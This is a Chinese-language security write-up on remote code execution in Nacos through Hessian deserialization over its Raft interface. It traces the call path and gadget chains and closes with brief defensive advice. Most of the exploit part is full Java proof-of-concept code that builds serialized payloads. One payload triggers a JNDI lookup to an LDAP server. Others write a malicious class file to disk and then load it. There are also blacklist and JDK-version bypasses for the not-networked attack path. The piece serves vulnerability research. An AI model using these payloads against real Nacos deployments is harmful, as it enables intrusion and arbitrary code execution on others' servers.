由 nacos 引出的 Hessian 反序列化利用
字数 2115 2025-08-05 08:19:51
Nacos Hessian 反序列化漏洞分析与利用
1. 背景与概述
本文详细分析由Nacos引出的Hessian反序列化漏洞利用技术。该漏洞主要涉及Nacos中使用的Raft协议实现和Hessian序列化机制,攻击者可以通过精心构造的序列化数据实现远程代码执行。
2. Raft协议基础
Raft协议是一种分布式一致性算法(共识算法),其特点包括:
- 多个节点对某一个事件达成一致
- 即使出现部分节点故障或网络延迟,仍能保证系统可用性
- Nacos中实现了三个关键group,需要是leader节点才能执行操作
3. 反序列化触发路径
Nacos中反序列化的完整调用链:
com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest接收raft请求- 寻找leader节点(三个可选group)
execute调用JRaftServer#applyOperation,将data封装为com.alipay.sofa.jraft.entity.Task- Task提交到sofa-jraft框架处理(日志复制、超半数提交)
- 最终调用状态机的
onApply方法naming_instance_metadata->InstanceMetadataProcessor的onApply
- 要求message类型为
WriteRequest - 最终触发反序列化
注意:每次POC执行后节点会变成state_error状态,三个节点默认只能攻击三次。恢复方法:替换全新data并重启服务。
4. 出网利用链
4.1 核心Gadget
Rdn$RdnEntry#compareTo ->
XString#equal ->
MultiUIDefaults#toString ->
UIDefaults#get ->
UIDefaults#getFromHashTable ->
UIDefaults$LazyValue#createValue ->
SwingLazyValue#createValue ->
InitialContext#doLookup()
4.2 Hessian序列化限制与绕过
- 默认不允许序列化非
Serializable接口的类 - 可通过设置
SerializerFactory#_isAllowNonSerializable为true绕过 - 反序列化时使用
MapDeserializer,MultiUIDefaults不是public类会导致报错 - 解决方案:使用
sun.security.pkcs.PKCS9Attributes,其反序列化器为UnsafeDeserializer
4.3 完整Payload构造
public class HessianDemo {
public static void main(String[] args) throws Exception {
SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
// Hessian序列化方法
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);
output.flushBuffer();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
// Hessian反序列化方法
public static Object hdeserialize(byte[] data){
if (data == null) {
return null;
}
Object result = null;
try {
byte[] b = new byte[]{67};
data = byteMerger(b, data);
ByteArrayInputStream is = new ByteArrayInputStream(data);
Hessian2Input input = new Hessian2Input(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
// 字节数组合并
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] bt3 = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, bt3, 0, bt1.length);
System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
return bt3;
}
}
4.4 关键点解释
-
首字节67的作用:
- 触发
expect方法,进而触发PKCS9Attributes的toString方法 - 正常
writeObject流程中第一个字节也是67,这样有两个67才能触发expect
- 触发
-
PKCS9Attributes的toString调用链:
PKCS9Attributes#toString -> UIDefaults#get -> UIDefaults#getFromHashTable -> UIDefaults$LazyValue#createValue -> SwingLazyValue#createValue -> InitialContext#doLookup() -
SwingLazyValue限制:
- 调用的方法必须是静态方法,因为
invoke第一个参数传的是class类型 - 受
com.caucho.hessian.io.ClassFactory#isAllow黑名单限制
- 调用的方法必须是静态方法,因为
5. 高版本JDK利用
5.1 限制与绕过
- 高版本需要设置
com.sun.jndi.rmi.object.trustURLCodebase解除lookup限制 - 但黑名单限制了
java.lang.System的调用 - 解决方案:利用Nacos的tomcat依赖,加载本地
BeanFactory绕过高版本限制
5.2 不出网利用技术
利用链:
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode -> writeClass
sun.security.tools.keytool.Main#main -> loadClass
5.2.1 写Class文件
// 使用jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode写入class文件
// 必须使用UIDefaults.ProxyLazyValue,否则加载不到DumpBytecode(nashorn.jar)
// SwingLazyValue只能加载rt.jar
5.2.2 加载Class文件
// 调用sun.security.tools.keytool.Main#main来loadClass
5.2.3 完整POC
WriteClass部分:
public class HessianWriteClass {
public static void main(String[] args) throws Exception {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue(
"jdk.nashorn.internal.codegen.DumpBytecode",
"dumpBytecode",
new Object[]{
scriptEnvironment,
getUnsafe().allocateInstance(DebugLogger.class),
ToByte.toByte(), // 恶意class字节码
"RunCommand",
}
);
// 设置acc为null绕过安全检查
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
// 其他方法与前面示例相同
}
LoadClass部分:
public class HessianLoadClass {
public static void main(String[] args) throws Exception {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue(
"sun.security.tools.keytool.Main",
"main",
new Object[]{
new String[]{
"-genkeypair",
"-keypass", "123456",
"-keystore", "test",
"-storepass", "123456",
"-providername", "test",
"-providerclass", "RunCommand", // 加载恶意类
"-providerpath", System.getProperty("java.io.tmpdir")
}
}
);
// 设置acc为null绕过安全检查
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
// 其他方法与前面示例相同
}
6. 其他利用技术
-
JDK <8u251:
- 使用
com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载bcel
- 使用
-
无黑名单情况:
- 调用
sun.reflect.misc.MethodUtil#invoke,传入实例化的类调用exec()
- 调用
-
动态链接库加载:
jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode写动态链接库- 结合
System.load加载
-
其他利用点:
sun.tools.jar.Main.mainSystem.setProperty+jdk.jfr.internal.Utils.writeGeneratedAsmcom.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename写文件
7. 防御建议
- 升级Nacos到最新安全版本
- 限制Hessian反序列化的类白名单
- 监控和限制Raft协议的异常请求
- 在高版本JDK环境下运行
- 实施网络隔离,限制Nacos集群的访问权限
8. 总结
本文详细分析了Nacos中Hessian反序列化漏洞的利用技术,包括出网和不出网的多种利用方式,以及针对不同JDK版本的绕过技术。理解这些技术有助于安全研究人员更好地防御此类漏洞,同时也提醒开发者在实现分布式系统时需要注意序列化安全问题。